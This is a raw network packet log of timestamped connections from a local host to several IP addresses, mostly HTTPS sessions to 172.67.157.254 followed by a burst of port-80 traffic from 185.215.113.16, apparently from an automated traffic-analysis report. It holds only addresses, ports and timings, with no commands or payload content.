Dec 28, 2024 09:56:33.412349939 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:56:33.917356968 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:33.917489052 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:33.917567968 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:33.925674915 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:33.925715923 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:33.925730944 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:33.925739050 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:34.118913889 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:34.118974924 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:34.119034052 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:34.119945049 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:34.119971991 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:34.646732092 CET	49671	443	192.168.2.11	204.79.197.203
Dec 28, 2024 09:56:34.878897905 CET	443	49706	173.222.162.42	192.168.2.11
Dec 28, 2024 09:56:34.879077911 CET	49706	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:56:35.430887938 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:35.430975914 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:35.432277918 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:35.432292938 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:35.432606936 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:35.434813023 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:35.434859991 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:35.434931040 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.521931887 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.521997929 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.522038937 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.522077084 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.522094011 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.522105932 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.522140026 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.522155046 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.522208929 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.522224903 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.529949903 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.530038118 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.530052900 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.538356066 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.538427114 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.538440943 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.584182024 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.584207058 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.631099939 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.641350985 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.693603039 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.732183933 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.734456062 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.734561920 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.734643936 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.742841005 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.742876053 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:36.742887974 CET	49715	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:36.742894888 CET	443	49715	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:37.011006117 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:37.011061907 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:37.011147976 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:37.011594057 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:37.011604071 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:38.222583055 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:38.222683907 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:38.224126101 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:38.224133968 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:38.224411964 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:38.226514101 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:38.226666927 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:38.226691961 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:39.232240915 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:39.232367039 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:39.232445002 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:39.232656956 CET	49721	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:39.232675076 CET	443	49721	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:39.374248981 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:39.374295950 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:39.374404907 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:39.374773026 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:39.374787092 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:40.587511063 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:40.587780952 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:40.589164019 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:40.589174032 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:40.589457035 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:40.590962887 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:40.591098070 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:40.591131926 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:40.591192961 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:40.635329962 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:41.578568935 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:41.578684092 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:41.578807116 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:41.578865051 CET	49727	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:41.578883886 CET	443	49727	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:41.823924065 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:41.823961020 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:41.824042082 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:41.824362040 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:41.824371099 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:43.021703005 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:56:43.085560083 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:43.085649014 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:43.088217974 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:43.088222027 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:43.088483095 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:43.092454910 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:43.095206976 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:43.095235109 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:43.095293045 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:43.095299006 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:44.075426102 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:44.075560093 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:44.075835943 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:44.075948000 CET	49735	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:44.075965881 CET	443	49735	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:44.415307999 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:44.415374041 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:44.416918993 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:44.417231083 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:44.417252064 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:45.675692081 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:45.675793886 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:45.679665089 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:45.679675102 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:45.680007935 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:45.681930065 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:45.681998968 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:45.682003021 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:46.441632032 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:46.441757917 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:46.441834927 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:46.441915035 CET	49743	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:46.441931963 CET	443	49743	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:47.099339962 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:47.099406958 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:47.099638939 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:47.100172043 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:47.100188017 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.403013945 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.403141975 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.404424906 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.404433012 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.404685974 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.414079905 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.414937019 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.414973974 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.415340900 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.415376902 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416342974 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416382074 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416505098 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416520119 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416544914 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416555882 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416640997 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416662931 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416666985 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416671038 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416783094 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416806936 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416821957 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416831970 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416878939 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416886091 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.416958094 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.416982889 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.417016983 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.463339090 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.463551998 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.463587046 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.463666916 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.463695049 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:48.463702917 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:48.463707924 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:52.224544048 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:52.224637032 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:52.224699974 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:52.225111008 CET	49754	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:52.225135088 CET	443	49754	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:52.265002966 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:52.265115023 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:52.265206099 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:52.265496969 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:52.265533924 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:53.476860046 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:53.476994038 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:53.479734898 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:53.479769945 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:53.480034113 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:53.482567072 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:53.482604027 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:53.482681036 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:54.247591972 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:54.247687101 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:54.247807980 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:54.247987032 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:54.248053074 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:54.248091936 CET	49765	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:54.248114109 CET	443	49765	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:54.251789093 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:54.371736050 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:54.371823072 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:54.372005939 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:54.491468906 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.758657932 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.758682966 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.758691072 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.758791924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.758799076 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.758807898 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.758846998 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.758949041 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.758994102 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.759000063 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.759000063 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.759047031 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.759124041 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.759130955 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.759181023 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.879054070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.879065990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.879203081 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.960539103 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.960655928 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.960772991 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.964617968 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.964752913 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.964823008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.972531080 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.972625971 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.972742081 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.980918884 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.981039047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.981112957 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.989361048 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.989434958 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.989535093 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:55.997756004 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.997849941 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:55.997961998 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.006155014 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.006263018 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.006331921 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.014576912 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.014655113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.014738083 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.022939920 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.022975922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.023051977 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.031516075 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.031637907 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.031778097 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.039768934 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.039843082 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.039926052 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.080250978 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.131232977 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.161111116 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.161161900 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.161231995 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.163604021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.164552927 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.164633989 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.164639950 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.169692039 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.169744968 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.169815063 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.174840927 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.174911022 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.174943924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.179986000 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.180037975 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.180077076 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.185123920 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.185168028 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.185218096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.190274954 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.190381050 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.190408945 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.195390940 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.195439100 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.195442915 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.200555086 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.200649023 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.200702906 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.205708027 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.205751896 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.205763102 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.210818052 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.210863113 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.210902929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.215971947 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.216028929 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.216041088 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.221088886 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.221138954 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.221174955 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.226228952 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.226377964 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.226392984 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.231369972 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.231412888 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.231420040 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.236502886 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.236560106 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.236599922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.241628885 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.241667986 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.241692066 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.246771097 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.246813059 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.246970892 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.251889944 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.251966000 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.251966953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.257096052 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.257154942 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.257200956 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.262204885 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.262264013 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.362317085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.362407923 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.362561941 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.364303112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.364404917 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.364515066 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.368346930 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.369805098 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.369851112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.369883060 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.373980045 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.374025106 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.374113083 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.377928972 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.377999067 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.378009081 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.381812096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.381906033 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.381923914 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.385687113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.385756969 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:56.385792017 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:56.389309883 CET	80	49771	185.215.113.16	192.168.2.11
